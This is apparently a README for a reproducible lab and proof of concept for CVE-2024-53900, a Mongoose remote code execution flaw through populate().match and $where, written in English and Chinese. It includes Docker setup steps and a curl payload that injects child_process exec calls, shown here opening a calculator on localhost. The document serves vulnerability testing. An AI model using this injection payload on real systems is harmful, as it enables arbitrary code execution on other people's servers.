
Reproducible environment and PoC for CVE-2024-53900, a critical RCE in Mongoose via populate().match $where. Includes automated exploit script and Nuclei template for security testing.
本仓库提供了一个可复现的漏洞环境及针对 CVE-2024-53900 的概念验证(PoC),该漏洞是 Mongoose < 8.8.3 中的一个严重远程代码执行(RCE)漏洞。
populate().match 与 $where 结合参考资料:
git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900
docker-compose up -d
默认情况下,漏洞 Node.js 应用在 Docker 内运行。
但是,GUI 应用程序(如 xcalc 或 gnome-calculator)无法在容器内启动。
👉 如果你想通过弹出计算器窗口演示 RCE:
在 Docker 中运行 MongoDB(作为数据库后端)
docker run -d --name mongo -p 27017:27017 mongo:6
在本地运行漏洞 Node.js 应用
cd ~/cve-2024/app
npm install
node server.js
270175000/home/kali/cve-2024/
├── docker-compose.yml # 环境配置
├── exploit.py # 自动化利用脚本
├── CVE-2024-53900.yaml # Nuclei 模板
├── README.md # 文档
├── app/ # 漏洞 Node.js 应用
│ ├── Dockerfile
│ ├── package.json
│ ├── server.js
│ ├── models.js
│ └── views/
└── data/ # MongoDB 数据卷
curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"
python3 exploit.py --url http://localhost:5000
nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author
mongo:6188.5.0(有漏洞)4.18.2